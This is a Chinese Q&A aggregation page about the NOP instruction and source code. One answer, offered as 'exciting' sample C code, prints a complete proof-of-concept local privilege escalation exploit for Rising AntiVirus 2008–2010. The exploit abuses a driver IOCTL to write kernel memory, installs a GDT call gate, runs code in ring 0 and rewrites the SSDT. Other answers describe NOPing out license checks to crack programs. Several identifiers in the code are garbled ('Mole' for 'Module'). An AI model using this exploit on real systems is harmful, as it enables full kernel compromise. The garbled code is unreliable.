当前位置:首页 » 操作系统 » nop源码

nop源码

发布时间: 2022-02-17 11:21:41

① “NOP指令”有何作用

nop指令的作用:

1)就是通过nop指令的填充(nop指令一个字节),使指令按字对齐,从而减少取指令时的内存访问次数。(一般用来内存地址偶数对齐,比如有一条指令,占3字节,这时候使用nop指令,cpu就可以从第四个字节处读取指令了。)

2)通过nop指令产生一定的延迟,但是对于快速的CPU来说效果不明显,可以使用rep前缀,多延迟几个时钟;-->具体应该说是占用了3个时钟脉冲!

3)i/o传输时,也会用一下nop,等待缓冲区清空,总线恢复;

4)清除由上一个算术逻辑指令设置的flag位;

5)破解:对于原程序中验证部分使用nop来填充,使验证失效;

6)有一个朋友说的比较厉害--在航天飞机控制程序中防止程序跳飞!

解释如下:在空间放射性环境下,放射性子粒很容易使内存位元改变(呵呵,有点基因突变的感觉),这样如果改变的是jump,call指令的存贮位置的话,就会导致程序跳转到一个不可以预置的位置,对于关键系统来说的确是灾难性的。所以就在被调用程序之前填充nop指令,这样即使跳转到稍前或者稍后的位置,也不会造成影响。

② 求万行c语言源代码

这个够刺激
#include "stdafx.h"
#include "windows.h"
enum { SystemMoleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Mole[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
&ColorBuffer ,
sizeof(ULONG),
&btr ,
0
);
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
Address ,
sizeof(ULONG),
&btr ,
0
);
return ;
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{
push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]
push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax
call WriteKVM
mov eax,Icount
add eax , 0x4
cmp eax,0x10
jnz LoopWrite
}
return ;
}
void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ;
}
#pragma pack(1)
typedef struct _IDTR
{
SHORT IDTLimit;
UINT IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ;
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;
Img = IMAGE_FIRST_SECTION(NT);
if (Rva < Img->PointerToRawData)
return Rva;
for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img[i].SizeOfRawData)
Limit = Img[i].SizeOfRawData;
else
Limit = Img[i].Misc.VirtualSize;
if (Rva >= Img[i].VirtualAddress &&
Rva < (Img[i].VirtualAddress + Limit))
{
if (Img[i].PointerToRawData != 0)
{
Offset -= Img[i].VirtualAddress;
Offset += Img[i].PointerToRawData;
}
return Offset;
}
}
return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hMole,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hMole,&pfh,&poh,&psh);
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hMole);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hMole+dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT)
{
if (*(PWORD)((DWORD)hMole+dwPointerRva-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hMole+dwPointerRva+4)-poh->ImageBase;
*ImageBase = poh->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}
return 0;
}
DWORD CR0Reg ;
ULONG realssdt ;
void InKerneProc()
{
__asm
{
cli
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i];
}
__asm
{
mov eax, CR0Reg
mov cr0, eax
sti
}
}
int main(int argc, char* argv[])
{
printf("Rising AntiVirus 2008 ~ 2010 \n"
"Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");
g_RsGdiHandle = CreateFile("\\\\.\\RSNTGDI" ,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ;
}
SYSTEM_MODULE_INFORMATION MoleInfo ;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
HMODULE hlib = GetMoleHandle("ntdll.dll");
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");
ULONG infosize = sizeof(MoleInfo);
__asm
{
push 0
push infosize
lea eax , MoleInfo
push eax
push 11
call pNtQuerySystemInformation
}
HMODULE KernelHandle ;
LPCSTR ntosname = (LPCSTR)((ULONG)MoleInfo.Mole[0].ImageName + MoleInfo.Mole[0].PathLength);
// Load the kernel image specified
KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ;
}
ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");
if (KeSSDT == 0 )
{
return 0 ;
}
ULONG ImageBase = 0 ;
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ;
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ;
ULONG i ;
for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)MoleInfo.Mole[0].Base - ImageBase;
}
realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)MoleInfo.Mole[0].Base;
SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
AddCallGate();
IntoR0(InKerneProc);
return 0;
}

③ 怎么把exe和dll文件分析及源码

ollydbg调试和修改exe等文件内部指令,使用IDA生成稍显易读的逆向代码。两者结合效果比较好。前者用于运行调试,找到目标指令的位置,后者则是逆向前期用来分析exe文件内部结构的工具。
怎么改,不能一言蔽之。大概的原理可以告诉你
使用ollydbg,运行,点击菜单栏的打开,选择你的exe文件,运行,找到main函数的位置,设置断点,单步运行,知道找到你想找的指令的位置,更改该指令,注意要保证指令的总体大小不变,比如说原先该条指令的大小是4个字节,那么你可以使用4个NOP指令代替,大小不变,但是使用6个NOP或者3个NOP指令,总体大小就不同了,exe文件内部指令的相对地址都变了。
即最后的exe文件大小要不变,不然会损坏exe文件。。。
最后保存修改的内容。
不知道你有没有个大概的印象,反汇编本来就很耗时耗力,需要耐心和经验,还得看你的需求。
你可以上“看雪论坛”搜索相关的教程。

④ 关于nop指令的作用

无源码调试程序,可以用NOP将一段功能取消掉,还可以将NOP的代码段改成自己的代码(类似shellcode),这个用的非常多

⑤ nopcommerce 源码怎么编译安装

同求!同时向找个精通nopcommerce做个企业商城

⑥ 下面的源代码在proteus中编译错误,哪里错了

这程序不是这么打的,你这是两列程序吗,要打成一列的,每一行只能打一列,这要是不错,都怪了,你这是跟谁学的这么打程序?

⑦ NOP.CN 的官网是哪家公司制作的联系方式有吗源码哪里有

据我所知, 他们所有衣服都是自己设计的, 主设计师是女的, 很有才华. 网站的确做的特别好, 很有质感, 和国内其他电商很不一样. 估计不可能卖源码的吧.... 人家大公司来的... 还有他们CEO好像原来做投资的, 不缺钱, 还是个帅哥....

⑧ uint FTemp在单片机C语言里面是什么意思 ,源码,求详细解释下!

#define uint unsigned int
......
uint FTemp; //unsigned int FTemp, 定义一个unsigned int型的变量FTemp

......

⑨ Keil遇到问题,不会改 TEXT1.C(33): error C216: subscript on non-array or too many dimensions

错误的意思是你把下标用在了一个非数组的变量上。
从你的代码看, display不是数组,但第33句,使用了display[k]。所以出错。

⑩ 机器语言 汇编语言 伪代码 c语言分别是指什么

计算机语言是人们描述计算过程即程序的规范书写语言。程序是计算机处理对象和计算规则的描述。语言的基础是一组记号和规则,根据规则由记号构成记号串的总体就是语言。

人类发明了计算机,需要与计算机“交流”,即写入和读出,这样必须使用一种语言让人类与机器能够交流,就诞生了机器语言。

机器语言是机器指令的集合。机器指令展开来讲就是一台机器可以正确执行的命令。每种微处理器,可以识别的每一条指令称为机器指令。每一种处理器都有自己可以识别的一整套指令,称为指令集。由于硬件设计和内部结构的不同,就需要用不同的电平脉冲来控制,使它工作。所以每一种微处理器都有自己的机器指令集,也就是机器语言。机器语言是计算机可以识别并运行的二进制代码。

汇编语言是将二进制的机器码通过助记符的方式让人可以更方便的编写并检查的低级语言。汇编语言接近机器语言,可以看做是机器语言的另一种形式,计算机在运行时也需要将其变为机器语言的二进制才可运行。汇编语言是机器语言的助记符。

伪代码是一种算法描述语言。它不是一种现实存在的编程语言。使用为代码的目的是为了使被描述的算法可以容易地以任何一种编程语言实现。它可能综合使用多种编程语言中语法、保留字,甚至会用到自然语言。 因此,伪代码必须结构清晰,代码简单,可读性好,并且类似自然语言。计算机科学在教学中通常使用伪代码,以使得所有的程序员都能理解。

C语言之所以命名为C,是因为 C语言源自Ken Thompson发明的B语言,而 B语言则源自BCPL语言。1972年,美国贝尔实验室的 D.M.Ritchie 在B语言的基础上最终设计出了一种新的语言,他取了BCPL的第二个字母作为这种语言的名字,这就是C语言。机器语言和汇编语言都不具有移植性,而C语言程序则可以使用在任意架构的处理器上,只要那种架构的处理器具有对应的C语言编译器和库,然后将C源代码编译、连接成目标二进制文件之后即可运行。

热点内容
android编码设置 发布:2024-11-15 13:50:02 浏览:906
androidstringchar 发布:2024-11-15 13:45:00 浏览:964
obs配置怎么弄 发布:2024-11-15 13:43:30 浏览:867
特斯拉买哪个配置的 发布:2024-11-15 13:42:36 浏览:556
儿童编程教材 发布:2024-11-15 13:37:34 浏览:42
查询服务器连接地址 发布:2024-11-15 13:27:20 浏览:504
win8用户文件夹转移 发布:2024-11-15 13:21:24 浏览:73
批量缓存淘宝教育上的视频 发布:2024-11-15 13:20:44 浏览:723
如何确定手机是不是安卓 发布:2024-11-15 13:19:33 浏览:734
loadingbuffer怎么配置 发布:2024-11-15 13:16:57 浏览:797